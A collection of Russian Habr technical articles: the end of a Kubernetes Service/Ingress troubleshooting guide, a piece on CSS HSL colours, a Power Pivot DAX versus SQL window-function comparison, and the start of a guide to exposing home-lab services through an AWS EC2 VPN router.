Следующий шаг в обеспечении доступа к приложению связан с настройкой Ingress'а. Ingress должен знать, как отыскать сервис, затем найти pod'ы и направить к ним трафик. Ingress находит нужный сервис по имени и открытому порту.
В описании Ingress и Service должны совпадать два параметра:
1. `servicePort` в Ingress должен совпадать с параметром `port` в Service;
2. `serviceName` в Ingress должно совпадать с полем `name` в Service.
Следующая схема подводит итог по подключению портов:
1) Как вы уже знаете, Service слушает некий `port`:
2) У Ingress'а есть параметр, называемый `servicePort`:
3) Этот параметр (`servicePort`) всегда должен совпадать с `port` в определении Service:
4) Если в Service задан порт 80, то необходимо, чтобы `servicePort` также был равен 80:
На практике необходимо обращать внимание на следующие строки:
```
apiVersion: v1
kind: Service
metadata:
name: my-service # <<<
spec:
ports:
- port: 80 # <<<
targetPort: 8080
selector:
any-name: my-app
---
apiVersion: networking.k8s.io/v1beta1
kind: Ingress
metadata:
name: my-ingress
spec:
rules:
- http:
paths:
- backend:
serviceName: my-service # <<<
servicePort: 80 # <<<
path: /
```
*Как проверить, работает ли Ingress?*
Можно воспользоваться методом с `kubectl port-forward`, но вместо сервиса нужно подключиться к контроллеру Ingress.
Сначала нужно узнать имя pod'а с контроллером Ingress:
```
kubectl get pods --all-namespaces
NAMESPACE NAME READY STATUS
kube-system coredns-5644d7b6d9-jn7cq 1/1 Running
kube-system etcd-minikube 1/1 Running
kube-system kube-apiserver-minikube 1/1 Running
kube-system kube-controller-manager-minikube 1/1 Running
kube-system kube-proxy-zvf2h 1/1 Running
kube-system kube-scheduler-minikube 1/1 Running
kube-system nginx-ingress-controller-6fc5bcc 1/1 Running
```
Найдите pod Ingress'а (он может относиться к другому пространству имен) и выполните команду `describe`, чтобы узнать номера портов:
```
kubectl describe pod nginx-ingress-controller-6fc5bcc \
--namespace kube-system \
| grep Ports
Ports: 80/TCP, 443/TCP, 18080/TCP
```
Наконец, подключитесь к pod'у:
```
kubectl port-forward nginx-ingress-controller-6fc5bcc 3000:80 --namespace kube-system
```
Теперь каждый раз, когда вы будете посылать запрос на порт 3000 на компьютере, он будет перенаправляться на порт 80 pod'а с контроллером Ingress. Перейдя на <http://localhost:3000>, вы должны будете увидеть страницу, созданную приложением.
Резюме по портам
----------------
Давайте еще раз вспомним о том, какие порты и лейблы должны совпадать:
1. Селектор в определении Service должен совпадать с лейблом pod'а;
2. `targetPort` в определении Service должен совпадать с `containerPort` контейнера внутри pod'а;
3. `port` в определении Service может быть любым. Разные сервисы могут использовать один и тот же порт, поскольку у них разные IP-адреса;
4. `servicePort` Ingress'а должен совпадать с `port` в определении Service;
5. Название сервиса должно совпадать с полем `serviceName` в Ingress'е.
Увы, недостаточно знать, как правильно структурировать YAML-конфигурацию.
*Что случается, когда что-то идет не так?*
Возможно, pod не запускается или он падает.
3 шага для диагностики неисправностей в приложениях в Kubernetes
----------------------------------------------------------------
Прежде чем приступать к отладке deployment'а, необходимо иметь хорошее представление о том, как работает Kubernetes.
Поскольку в каждом выкаченном в K8s приложении имеются три компонента, проводить их отладку следует в определенном порядке, начиная с самого низа.
1. Сначала надо убедиться, что pod'ы работают, затем...
2. Проверить, поставляет ли сервис трафик pod'ам, а потом...
3. Проверить, правильно ли настроен Ingress.
Визуальное представление:
1) Начинать поиск проблем следует с самого низа. Сперва проверьте, что pod'ы имеют статусы `Ready` и `Running`:
2) Если pod'ы готовы (`Ready`), следует выяснить, распределяет ли сервис трафик между pod'ами:
3) Наконец, нужно проанализировать связь сервиса и Ingress'а:
1. Диагностика pod'ов
---------------------
В большинстве случаев проблема связана с pod'ом. Убедитесь, что pod'ы значатся как `Ready` и `Running`. Проверить это можно с помощью команды:
```
kubectl get pods
NAME READY STATUS RESTARTS AGE
app1 0/1 ImagePullBackOff 0 47h
app2 0/1 Error 0 47h
app3-76f9fcd46b-xbv4k 1/1 Running 1 47h
```
В выводе команды, приведенном выше, последний pod значится как `Running` и `Ready`, однако для двух других это не так.
*Как понять, что пошло не так?*
Есть четыре полезные команды для диагностики pod'ов:
1. `kubectl logs <имя pod'а>` позволяет извлечь логи из контейнеров в pod'е;
2. `kubectl describe pod <имя pod'а>` позволяет просмотреть список событий, связанных с pod'ом;
3. `kubectl get pod <имя pod'а>` позволяет получить YAML-конфигурацию pod'а, хранящуюся в Kubernetes;
4. `kubectl exec -ti <имя pod'а> bash` позволяет запустить интерактивную командную оболочку в одном из контейнеров pod'а
*Какую из них выбрать?*
Дело в том, что нет универсальной команды. Следует использовать их комбинацию.
### Типичные проблемы pod'ов
Существует два основных типа ошибок pod'ов: ошибки во время запуска (startup) и ошибки во время работы (runtime).
Ошибки запуска:
* `ImagePullBackoff`
* `ImageInspectError`
* `ErrImagePull`
* `ErrImageNeverPull`
* `RegistryUnavailable`
* `InvalidImageName`
Runtime-ошибки:
* `CrashLoopBackOff`
* `RunContainerError`
* `KillContainerError`
* `VerifyNonRootError`
* `RunInitContainerError`
* `CreatePodSandboxError`
* `ConfigPodSandboxError`
* `KillPodSandboxError`
* `SetupNetworkError`
* `TeardownNetworkError`
Некоторые ошибки встречаются чаще, чем другие. Вот несколько наиболее распространенных ошибок и способы их устранения.
#### ImagePullBackOff
Эта ошибка появляется, когда Kubernetes не может получить образ для одного из контейнеров pod'а. Вот три самых распространенных причины этого:
1. Неверно указано имя образа — например, вы сделали в нем ошибку, или образ не существует;
2. Указан несуществующий тег для образа;
3. Образ хранится в закрытом реестре, и у Kubernetes нет полномочий для доступа к нему.
Первые две причины устранить легко — достаточно поправить имя образа и тег. В случае последней необходимо внести учетные данные к закрытому реестру в Secret и добавить ссылки на него в pod'ы. В документации Kubernetes [есть пример](https://kubernetes.io/docs/tasks/configure-pod-container/pull-image-private-registry/) того, как это можно сделать.
#### CrashLoopBackOff
Kubenetes выводит ошибку `CrashLoopBackOff`, если контейнер не может запуститься. Обычно такое случается, когда:
1. В приложении есть ошибка, которая не позволяет его запустить;
2. Контейнер [настроен неправильно](https://stackoverflow.com/questions/41604499/my-kubernetes-pods-keep-crashing-with-crashloopbackoff-but-i-cant-find-any-lo);
3. Тест Liveness завершился неудачно слишком много раз.
Необходимо попытаться добраться до логов из контейнера, чтобы выяснить причину его сбоя. Если получить доступ к логам затруднительно, поскольку контейнер слишком быстро перезапускается, можно воспользоваться следующей командой:
```
kubectl logs --previous
```
Она выводит сообщения об ошибках из предыдущей реинкарнации контейнера.
#### RunContainerError
Эта ошибка возникает, когда контейнер не в состоянии запуститься. Она соответствует моменту до запуска приложения. Обычно ее причиной является неправильная настройка, например:
* попытка примонтировать несуществующий том, такой как ConfigMap или Secrets;
* попытка примонтировать том типа read-only как read-write.
Для анализа подобных ошибок хорошо подходит команда `kubectl describe pod` .
### Pod'ы в состоянии Pending
После создания pod остается в состоянии `Pending`.
*Почему такое происходит?*
Вот возможные причины (я исхожу из предположения, что планировщик работает нормально):
1. В кластере недостаточно ресурсов, таких как вычислительная мощность и память, для запуска pod'а.
2. В соответствующем пространстве имен установлен объект `ResourceQuota` и создание pod'а приведет к тому, что пространство имен выйдет за пределы квоты.
3. Pod привязан к Pending `PersistentVolumeClaim`.
В этом случае рекомендуется воспользоваться командой `kubectl describe` и проверить раздел `Events`:
```
kubectl describe pod
```
В случае ошибок, связанных с `ResourceQuotas`, рекомендуется просмотреть логи кластера с помощью команды
```
kubectl get events --sort-by=.metadata.creationTimestamp
```
### Pod'ы не в состоянии Ready
Если pod значится как `Running`, но не находится в состоянии `Ready`, значит проверка его готовности *(readiness probe)* завершается неудачно.
Когда такое происходит, pod не подключается к сервису, и трафик на него не поступает. Сбой теста readiness вызван проблемами в приложении. В этом случае для поиска ошибки необходимо проанализировать раздел `Events` в выводе команды `kubectl describe`.
2. Диагностика сервисов
-----------------------
Если pod'ы значатся как `Running` и `Ready`, но ответа от приложения по-прежнему нет, следует проверить настройки сервиса.
Сервисы занимаются маршрутизацией трафика к pod'ам в зависимости от их лейблов. Поэтому первое, что нужно сделать — проверить, сколько pod'ов работают с сервисом. Для этого можно проверить endpoint'ы в сервисе:
```
kubectl describe service | grep Endpoints
```
Endpoint — это пара значений вида , и в выводе должна присутствовать хотя бы одна такая пара (то есть с сервисом работает хотя бы один pod).
Если раздел `Endpoins` пуст, возможны два варианта:
1. нет ни одного pod'а с правильным лейблом (подсказка: проверьте, правильно ли выбран namespace);
2. есть ошибка в лейблах сервиса в селекторе.
Если вы видите список endpoint'ов, но по-прежнему не можете получить доступ к приложению, то вероятным виновником является ошибка в `targetPort` в описании сервиса.
*Как проверить работоспособность сервиса?*
Независимо от типа сервиса, можно использовать команду `kubectl port-forward` для подключения к нему:
```
kubectl port-forward service/ 3000:80
```
Здесь:
* — имя сервиса;
* 3000 — порт, который вы открываете на компьютере;
* 80 — порт на стороне сервиса.
3. Диагностика Ingress
----------------------
Если вы дочитали до этого места, то:
* pod'ы значатся как `Running` и `Ready`;
* сервис успешно распределяет трафик по pod'ам.
Однако вы по-прежнему не можете «достучаться» до приложения.
Это означает, что, скорее всего, неправильно настроен контроллер Ingress. Поскольку контроллер Ingress является сторонним компонентом в кластере, существуют различные методы отладки в зависимости от его типа.
Но прежде чем прибегнуть к помощи специальных инструментов для настройки Ingress'а, можно сделать нечто совсем простое. Ingress использует `serviceName` и `servicePort` для подключения к сервису. Необходимо проверить, правильно ли они настроены. Сделать это можно с помощью команды:
```
kubectl describe ingress
```
Если столбец `Backend` пуст, высока вероятность ошибки в конфигурации. Если бэкэнды на месте, но доступа к приложению по-прежнему нет, то проблема может быть связана с:
* настройками доступности Ingress'а из публичного интернета;
* настройками доступности кластера из публичного интернета.
Выявить проблемы с инфраструктурой можно, подключившись напрямую к pod'у Ingress'а. Для этого сначала найдите pod Ingress-контроллера (он может находиться в другом пространстве имен):
```
kubectl get pods --all-namespaces
NAMESPACE NAME READY STATUS
kube-system coredns-5644d7b6d9-jn7cq 1/1 Running
kube-system etcd-minikube 1/1 Running
kube-system kube-apiserver-minikube 1/1 Running
kube-system kube-controller-manager-minikube 1/1 Running
kube-system kube-proxy-zvf2h 1/1 Running
kube-system kube-scheduler-minikube 1/1 Running
kube-system nginx-ingress-controller-6fc5bcc 1/1 Running
```
Воспользуйтесь командой `describe`, чтобы установить порт:
```
kubectl describe pod nginx-ingress-controller-6fc5bcc
--namespace kube-system \
| grep Ports
```
Наконец, подключитесь к pod'у:
```
kubectl port-forward nginx-ingress-controller-6fc5bcc 3000:80 --namespace kube-system
```
Теперь все запросы на порт 3000 на компьютере будут перенаправляться на порт 80 pod'а.
*Работает ли он теперь?*
* Если да, то проблема с инфраструктурой. Необходимо выяснить, как именно осуществляется маршрутизация трафика в кластер.
* Если нет, то проблема с контроллером Ingress.
Если не получается заставить работать контроллер Ingress, придется провести его отладку.
Существует много разновидностей контроллеров Ingress. Самыми популярными являются Nginx, HAProxy, Traefik и др. *(подробнее о существующих решениях см. в [нашем обзоре](https://habr.com/ru/company/flant/blog/447180/) — прим. перев.)* Следует воспользоваться руководством по устранению неполадок в документации соответствующего контроллера. Поскольку [Ingress Nginx](https://github.com/kubernetes/ingress-nginx) является самым популярным контроллером Ingress, мы включили в статью несколько советов по решению связанных с ним проблем.
### Отладка контроллера Ingress Nginx
У проекта Ingress-nginx имеется официальный [плагин для kubectl](https://kubernetes.github.io/ingress-nginx/kubectl-plugin/). Команду `kubectl ingress-nginx` можно использовать для:
* анализа логов, бэкэндов, сертификатов и т.д.;
* подключения к Ingress'у;
* изучения текущей конфигурации.
Помогут вам в этом следующие три команды:
* `kubectl ingress-nginx lint` — проверяет `nginx.conf`;
* `kubectl ingress-nginx backend` — исследует бэкэнд (по аналогии с `kubectl describe ingress` );
* `kubectl ingress-nginx logs` — проверяет логи.
Обратите внимание: в некоторых случаях может потребоваться указать правильное пространство имен для контроллера Ingress с помощью флага `--namespace` .
Резюме
------
Диагностика в Kubernetes может оказаться непростой задачей, если не знать, с чего начать. К проблеме всегда следует подходить по принципу «снизу-вверх»: начинайте с pod'ов, а затем переходите к сервису и Ingress'у. Методы отладки, описанные в статье, могут применяться и к другим объектам, таким как:
* неработающие Job'ы и CronJob'ы;
* StatefulSet'ы и DaemonSet'ы.
Выражаю благодарность [Gergely Risko](https://github.com/errge), [Daniel Weibel](https://medium.com/@weibeld) и [Charles Christyraj](https://www.linkedin.com/in/charles-christyraj-0bab8a36/) за ценные замечания и дополнения.
P.S. от переводчика
-------------------
Читайте также в нашем блоге:
* «[Плагин kubectl-debug для отладки в pod'ах Kubernetes](https://habr.com/ru/company/flant/blog/436112/)»;
* «[6 занимательных системных багов при эксплуатации Kubernetes [и их решение]](https://habr.com/ru/company/flant/blog/443458/)»;
* «[Инструменты для разработчиков приложений, запускаемых в Kubernetes](https://habr.com/ru/company/flant/blog/462707/)»;
* «[6 практических историй из наших SRE-будней](https://habr.com/ru/company/flant/blog/471892/) ». | https://habr.com/ru/post/484954/ | null | ru | null |
# Забудьте про RGB и HEX
В CSS существует несколько способов представления цветов. Один из них — система HSL. В этой статье я покажу вам, какие возможности она открывает для верстальщика.
Что такое HSL
-------------
Название формата HSL образовано от сочетания первых букв Hue (оттенок), Saturate (насыщенность) и Lightness (светлота или яркость).
**Оттенок** — это значение цвета на цветовом круге и задаётся в градусах. 0° соответствует красному цвету, 120° — зелёному, а 240° — синему. Значение оттенка может изменяться от 0 до 359.
**Насыщенностью** называется интенсивность цвета, измеряется в процентах от 0% до 100%. Определяет степень удаленности цвета от серого той же яркости.
**Яркость** характеризует, насколько цвет яркий и указывается в процентах от 0% до 100%. Малые значения делают цвет темнее, а высокие светлее, крайние значения 0% и 100% соответствуют чёрному и белому цвету.
Преимущества HSL()
------------------
Ключевое преимущество HSL именно в возможности указывать характеристики цвета **независимо друг от друга**. Это открывает перед вами огромные возможности. Вы можете легко делать цвет ярче, темнее, более насыщенным или обесцвечивать. И при этом сохранять его оттенок. Или наоборот — изменять оттенки, не меняя их насыщенность или яркость. Зачастую для использования таких возможностей используются препроцессоры, но можно и без них.
Несколько примеров
------------------
### Производные цвета того же оттенка
Одна из самых распространенных задач: сделать компонент, который будет принимать один единственный базовый оттенок, но состоять из нескольких его вариаций. В моём примере, это типичный алерт, у которого цвет текста, фона и обводки имеют один оттенок и насыщенность но разную яркость:
```
.success {
border-color: hsl(120, 50%, 40%);
color: hsl(120, 50%, 20%);
background-color: hsl(120, 50%, 90%);
}
```
Видите, как красиво и наглядно? Сразу видно, что это одно «семейство» цветов. В других форматах это выглядело бы как-то так:
```
/* rgb */
.alert {
border-color: rgb(51, 153, 51);
color: rgb(25, 77, 25);
background-color: rgb(217, 242, 217);
}
/* hex */
.alert {
border-color: #339933;
color: #194d19;
background-color: #d9f2d9;
}
```
Не знаю как вам, а мне сложно глядя на такой код сказать связаны ли как-то эти цвета или нет.
Но это мелочи. Настоящая мощь раскрывается при использовании css custom properties.
Как говорится, следите за руками. Если сделать любую составляющую цвета, например оттенок, переменной, тогда мы сможем легко создавать бесконечное количество вариаций нашего компонента изменяя в нем исключительно базовый оттенок. А все производные будут отталкиваться от него.
```
.alert {
border-color: hsl(var(--hue), 50%, 40%);
color: hsl(var(--hue), 50%, 20%);
background-color: hsl(var(--hue), 50%, 90%);
}
```
### Обесцвечивание
В этом примере выключенная кнопка имеет сниженную насыщенность. Она всё ещё имеет едва заметный синий оттенок, но при этом почти серая. А при наведении кнопка сохраняет оттенок и насыщенность, но становится темнее.
Для решения такой задачи достаточно изменять всего один из трех параметров чтобы получить производный, но похожий цвет. Что при использовании rgb или hex сделать не так просто.
Как и в первом примере, вы можете легко подменять оттенок, не затрагивая все остальные характеристики цвета в вашем компоненте.
### Наследование цвета
Одна из самых крутых техник: создание одного оттенка, отталкиваясь от другого. Достигается это простым сложением в calc().
```
:root{
--hue: 120;
}
header {
background-color: hsl(var(--hue), 30%, 20%)
}
header button {
background-color: hsl(calc(var(--hue) + 130), 80%, 50%)
}
```
В этом примере оттенок кнопки зависит (+130° на цветовом круге) от оттенка контейнера.
Таким вот нехитрым образом вы можете создавать полноценные гибкие цветовые палитры для ваших сайтов, устанавливая всего один базовый оттенок и отталкиваясь от него.
И все ваши компоненты будут сохранять насыщенность и яркость, как это продемонстрировано в предыдущих примерах.
Будущее
-------
В спецификации [CSS Color Module Level 4](https://www.w3.org/TR/css-color-4/#lab-colors) были описаны новые функции: lab() и lch() для указания цветов в одноименных форматах. LCH имеет такую же гибкость как и hsl, но привносит ряд улучшений, с оглядкой на современные устройства. Подробнее об этом вы можете прочитать в статье «[LCH colors in CSS: what, why, and how?](https://lea.verou.me/2020/04/lch-colors-in-css-what-why-and-how/)».
Итог
----
На мой взгляд формат hsl имеет просто фантастическую гибкость в сравнении с альтернативами. В комбинации с переменными вы практически привносите все возможности по работе с цветами из препроцессоров в нативный CSS.
P.S. Извините за громкий заголовок :) | https://habr.com/ru/post/496768/ | null | ru | null |
# Power Pivot: Оконные функции под соусом DAX (еще немного специй)
Продолжение статьи о сравнении возможностей оконных функций SQL Server и формул DAX
В [прошлой статье](http://habrahabr.ru/post/229583/#first_unread) были рассмотрены аспекты работы функций PowerPivot и на гипотетическом примере была продемонстрирована аналогия между оконными функциями sql server и DAX функциями.
Напомню, что исходный пример предполагал нахождение с помощью DAX некорректных данных, а именно:
поиск в исходных данных (детализированных до строк накладной) названий торговых точек, имеющих более одного адреса в городе.
В итоге эта цель была достигнута, но практической пользы от нее можно было бы получить гораздо больше, если заставить PowerPivot по данным случаям выполнять некие действия. Заодно это прекрасный повод показать еще немного полезных вещей из DAX арсенала.
Немного подумав, как лучше всего обрабатывать события нашего примера (а природа их кроется либо в переезде точки на новый адрес, либо в банальных опечатках при вводе адреса), первое, что приходит в голову — это как то стандартизировать подобные адреса добавив единый адрес для нескольких разных адресов в рамках кортежа «торговая точка-город». Самым логичным в данном случае будет присвоение единого адреса для всей истории продаж торговой точки в городе по последнему адресу отгрузки.
Для этого было бы неплохо сначала для каждого «окна»[=Имя торговой точки+город] получить последнюю дату активности (продажи).
Ну здесь все просто, на sql server запрос поиска даты для каждой атомарной записи будет выглядеть следующим образом:
```
Select 't1.Имя ТТ', 't1.Город', 't1.Адрес', 't1.Продукт', 't1.№ ТТН', 't1.Дата ТТН', 't1.Отгрузка, шт', 't1.Отгрузка с НДС', 't1.Цена за шт без НДС', max( 't1.Дата ТТН') OVER ( partition by 't1.Город', 't1.Имя ТТ' ) as maxdate from Table as t1
```
После прочтения прошлой статьи реализовать вычисляемое поле в DAX не составит труда:
```
MaxDatePosInTown:=CALCULATE(MAX('Таблица1'[Дата ТТН]);ALLEXCEPT('Таблица1';'Таблица1'[Имя ТТ];'Таблица1'[Город]))
```
Теперь обладая датой последней продажи ее можно использовать как вспомогательное поле для формирования соответствующего субсета.
Функционально, субсет должен быть сформирован следующим образом:
Для каждой записи в исходном наборе данных надо получить окно из имени торговой точки+города и в данном окне получить подмножество записей где дата соответствует последней дате продажи в данном окне.
Из перечня функций DAX наиболее подходящей для этого выступает функция FILTER.
Вот фрагмент справки:
На DAX теперь нужный нам субсет будет выглядеть так:
```
FILTER( ALLEXCEPT('Таблица1';'Таблица1'[Имя ТТ]; 'Таблица1'[Город]); 'Таблица1'[Дата ТТН]= 'Таблица1'[MaxDatePosInTown])
```
где в роли table выступает окно=точка+город, в роли условия фильтрации filter: 'Таблица1'[Дата ТТН]= 'Таблица1'[MaxDatePosInTown]
Обращаем внимание на условие из справки:
«Функция FILTER не используется независимо, а внедряется в другие функции, аргументом которых должна быть таблица. „
То есть проблема в том что бы из получившегося субсета выбрать любую одну запись (именно одну) и из нее взять нужный нам столбец.
Уже вырисовывается общая картина итоговой формулы:
```
=CALCULATE( ФормулаИзвлеченияОднойЗаписиИзСубсета('Таблица1'[Адрес]); FILTER( ALLEXCEPT('Таблица1';'Таблица1'[Имя ТТ]; 'Таблица1'[Город]); 'Таблица1'[Дата ТТН]= 'Таблица1'[MaxDatePosInTown]))
```
(Необходимость функции CALCULATE описана в [прошлой статье](http://habrahabr.ru/post/229583/#first_unread))
Среди перечня имеющихся формул наиболее подходящей бросается в глаза LOOKUPVALUE
Но попытки ее запустить успеха не принесли. В эту же тему нашел подтверждение с заморского блога:
Поэтому обращаем внимание на FIRSTNONBLANK, принимающей следующие аргументы:
Единственный момент — функция требует выражение, но здесь можно подсунуть ей TRUE
В итоге формула будет иметь конечный вид:
```
=CALCULATE( FIRSTNONBLANK('Таблица1'[Адрес]; TRUE()); FILTER( ALLEXCEPT('Таблица1';'Таблица1'[Имя ТТ];'Таблица1'[Город]); 'Таблица1'[Дата ТТН]='Таблица1'[MaxDatePosInTown]))
```
Аналогом в SQL Server будет что то вроде:
```
with a1 as
( Select 't1.Имя ТТ', 't1.Город', 't1.Адрес', row_number() over (partition by 't1.Имя ТТ', 't1.Город' order by 't1.Дата ТТН' desc ) as rv from 'Таблица1' )
Select 't1.Имя ТТ', 't1.Город', 't1.Адрес', 't1.Продукт', 't1.№ ТТН', 't1.Дата ТТН', 't1.Отгрузка, шт', 't1.Отгрузка с НДС', 't1.Цена за шт без НДС', 'a1.Адрес' as [ПоследнийАдрес]
from Table as t1 inner join a1 on 't1.Имя ТТ'='a1.Имя ТТ' and 't1.Город'= 'a1.Город' where a1.rw=1
```
Конечный результат из PowerPivot на сквозном примере будет выглядеть так:
P.S Можно попробовать еще такую альтернативу, дающую тот же результат
```
=calculate(LASTNONBLANK('Таблица1'[Адрес];1);Filter('Таблица1';'Таблица1'[Дата ТТН]=earlier('Таблица1'[MaxDatePosInTown]) && 'Таблица1'[Имя ТТ]=earlier('Таблица1'[Имя ТТ])))
```
Но как мне кажется, для восприятия она несколько сложнее
Надеюсь было интересно.
Ананьев Генрих. | https://habr.com/ru/post/234097/ | null | ru | null |
# Я оглянулся посмотреть не оглянулась ли она — 2 или сам себе датацентр через AWS
Публикуем любые сервисы, расположенные в домашнем гипервизоре через сервис [EC2 Amazon Web Services](https://aws.amazon.com/ec2/) через бесплатный инстанс под Amazon Linux AMI 2018 с помощью [libreswan](https://libreswan.org/), [xl2tpd](https://github.com/xelerance/xl2tpd) и с небольшой толикой извращения…
У системных администраторов традиционного (не ИТ) бизнеса со стажем обычно через некоторое время дома появляется собственная серверная ферма виртуализации для теста кучи решений на «земле». Это может быть банальная имитация распределенной офисно-филиальной сети, тестирование комплексной инфраструктуры высокой доступности, развертывание новых версий каких-то решений и т.д.
Внешне это может выглядеть от простого прокаченного по памяти домашнего ПК с встроенным в ОС гипервизором и NAS-ом потребительского класса в качестве iSCSI хранилища (или вообще в виде простой виртуалки на том же ПК) до полноценных малоюнитовых стоечных серверов, купленных за недорого как списанные БУ с родословной из западных датацентров, с такими же БУ цисками для связности сети и воткнутых в Fibre Channel такого же, купленного на вторичном рынке NAS-а, но уже бизнес-класса.
Конечно, в наш век повального увлечения облаками всю инфраструктуру с легкостью можно развернуть в облачных дата-центрах, но это все же не всегда возможно, в первую очередь из-за стоимости. Не беда, если для тестов требуется несколько легковесных виртуальных машин из доступных планов, но что если по долгу службы приходится крутить уже несколько десятков или даже сотен отдельных «виртуалок» с самыми разнообразными сервисами, а еще хочется иметь архив, чтобы в любой момент под рукой был образец, что крутил в конфигах/настройках год назад. Или есть необходимость перед переводом части существующих бизнес-сервисов в тот же MS Azure вначале обкатать все подводные камни с той же синхронизацией между ADDS и ADFS.
Основной проблемой в этом случае является публикация (проброс) всей этой инфраструктуры наружу, чтобы можно было отрабатывать подключение пользователей снаружи к домашней «серверной площадке» или к собственным «облачным» сервисам, или интеграцию со сторонними сервисами etc.
Хорошо, если домашнее подключение оформлено на бизнес-тариф, в этом случае с входящими запросами нет проблем, да и IP адрес практически всегда «белый», статический.
Но что делать, когда в месте проживания присутствует обычный «домашний» провайдер, который вдобавок может предоставить только адрес из Private network. Либо даст белый адрес, но традиционно зарубит все входящие из привилегированного (<1024) диапазона портов? Либо вы банально бедный студент и просто не можете себе ежемесячно позволить тариф, предназначенный для юридических лиц. Либо вам приходится частенько менять место жительства, таская свои виртуальные серверные «пожитки» на горбу? Частным также является случай, актуальный для проживающих вне СНГ, когда провайдер принудительно предоставляет собственное оборудование для подключения к Интернету и там вы просто физически не можете настроить проброс снаружи к домашней виртуальной ферме нужных вам портов.
Одним из решений является использование любого из сторонних VPN сервисов. К сожалению, мало какие из них допускают разрешение входящих по отношению к туннелю подключений, чаще всего это отдельная платная услуга. Также в этом случае будет весьма ограниченным выбор внешних IP адресов, если захочется оттестировать ситуацию с присутствием внешнего IP адреса в какой-то конкретной стране, к тому же как правило нет никакой гарантии, что одновременно на этом адресе не висят еще куча других клиентов VPN сервиса, либо он будет статическим на протяжении длительного времени, что важно для настройки записей субдоменов сервисов в DNS.
Также из достойных (ИМХО), хотя и несколько извращенных способов является развертывание собственного «виртуального» роутера на какой-либо внешней облачной площадке с возможностью настроить VPN тоннель из фермы домашнего гипервизора на эту виртуалку в облаке, с пробросом нужных входящих подключений с внешнего сетевого интерфейса облака в сервисы домашнего гипервизора. А в идеале чтобы еще и вообще за все это дело почти ничего не платить.
Потеряв недавно работу, а вместе с ней и доступ к теплой и уютной корпоративной тестовой ферме, но взамен получив море свободного времени для актуализации своих навыков, я решил дать возможность сервисам из домашнего гипервизора увидеть входящие клиентские подключения.
Автор сих строк [«любит всяческие инфраструктурные извращения»](https://habr.com/ru/post/189174/), поэтому в качестве виртуального роутера мы будем использовать бесплатный Amazon Web Services (AWS) EC2 инстанс t2.micro под Linux, что вместо AWS:VPC (в теории) придаст немного больше гибкости в отладке и возможностях, а топология этого VPN-изврата показана ниже:
Что мы тут видим?
Есть бесплатная (750 часов работы в месяц в течении года) виртуальная машина (инстанс), на Linux, развернутая в AWS:EC2. Входящие обращения от неких пользователей ваших домашних сервисов падают на внешний белый IPv4 адрес Elastic IP, затем через входящие (Inbound) правила в «Security Groups» нужные нам порты мапятся внутрь на сетевой интерфейс инстанса, затем пакеты этих запросов через iptables едут через IPSec туннель в виртуальную машину под Windows 2016, где уже с помощью маршрутизации в RRAS попадают к нужному сервису внутри домашней виртуальной фермы. Особо обратим внимание на наличие сразу трех NAT-ов: одного в AWS Linux, одного на маршрутизаторе «офисной сети» и еще одного, неявного, на домашнем роутере.
В данном (моем) случае виртуальная машина под Windows Server 2016 играет роль маршрутизатора для имитации офисной сети и ее серверной площадки, на ней развернуты MS WAP в связке с отдельной машиной с MS ADFS и прочая, поэтому не проблема заменить ее на любую другую операционку или даже домашнюю железку по вкусу. С Windows RRAS кстати наоборот все усложняется, по ходу дела пришлось бороть разные неприятные моменты (о которых ниже), так что если вам выбор в качестве маршрутизатора MS Windows Server претит, то с другой операционной системой возможно будет проще.
Вначале создадим себе аккаунт на AWS, если вдруг у вас его до сих пор нет. С созданием самого аккаунта проблем никаких, потребуется лишь указать данные своей пластиковой карты, с которой спишется (и затем вернется) 1 USD в качестве проверки.
Здесь нужно упомянуть только два момента:
1. Обязательно зайдите в сервис AWS:IAM (Identity and Access Management) и включите MFA (Multi-Factor Authentication) для своего нового аккаунта, а еще лучше как рекомендует AWS — создайте отдельную учетную запись также с MFA и с ограничением соответствующих прав и впредь работайте через нее. В противном случае можно попасть в неприятную ситуацию, когда какой-нибудь троянец украдет с вашего ПК учетные данные к AWS и например, кто-то намайнит от души за ваш счет на дорогих высокопроизводительных инстанс-планах…
2. Из практических соображений рекомендовано настроить оповещение о превышении бюджета. Делается это в настройках учетной записи, соответствующий пункт меню называется «Billing & Cost Management Dashboard». В открывшейся панели выбираем слева пункт «Budgets» и настраиваем с помощью встроенного мастера планируемый месячный бюджет по вкусу. Не забываем там же настроить оповещение (alert): при превышении указанной суммы вам тут-же придет сообщение. Это полезно, если раньше вы не работали с AWS и боитесь нечаянно «попасть» на круглую сумму в ходе своих экспериментов.
Далее нам нужен сервис [AWS:EC2](https://aws.amazon.com/ec2/).
Одним из самых важных шагов – выбираем регион (по сути дата центр) AWS, в котором будет мы хотим развернуть нашу виртуальную машину. Место размещения будет напрямую влиять на географическое положение вашего «виртуального роутера», а значит и на сетевую задержку при работе с ним. Это важно, т.к. live-миграции между регионами в AWS не предусмотрено (встроенный [AWS Server Migration Service](https://aws.amazon.com/server-migration-service/) умеет только в миграцию чего-то-там в само облако AWS) и в случае ошибки с размещением проще пересоздать новый инстанс заново в нужной локации. Альтернативно придется снимать с инстанса образ (Image, встроенными средствами EC2) в [AWS:S3](https://aws.amazon.com/s3/) (сервис хранения) и уже оттуда подтягивать этот образ в EC2 инстанс в новом регионе. В моем случае изначально был выбран регион [Frankfurt](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-regions-availability-zones.html):
Создаем новый инстанс, выбираем слева опцию **«Free tier only»**, что ограничит предлагаемый перечень образов только бесплатными. Я выбрал **«Amazon Linux AMI 2018»** ([подробнее](https://aws.amazon.com/mp/linux/) про дистрибутивы Linux в AWS), т.к. на «Amazon Linux 2 AMI» из-за особенностей собранного Амазоном ядра не работает нормально xl2tpd.
Вы можете выбрать любой другой привычный для вас образ Linux-а из предлагаемого списка. Также можно здесь же углубиться в [AWS Marketplace](https://aws.amazon.com/marketplace) и поискать альтернативные образы там, только внимательно читайте комментарии о стоимости: сам образ и вычислительные ресурсы могут быть бесплатными, но отдельно придется доплатить за дисковое пространство и т.п.
Выбираем предлагаемый тип **«t2.micro»**, он предусматривает 1 vCPU, 1 GB памяти, 8-30 GB (SSD/Magnetic) дискового пространства и 750 часов работы бесплатно каждый месяц в течении года. Вполне хватит для нашего «виртуального роутера». Стоит отметить, что бесплатное дисковое пространство и рабочее время расходуется на все инстансы, поэтому в случае финансовых затруднений не нужно создавать/запускать их больше чем вы можете себе позволить кроме бесплатного.
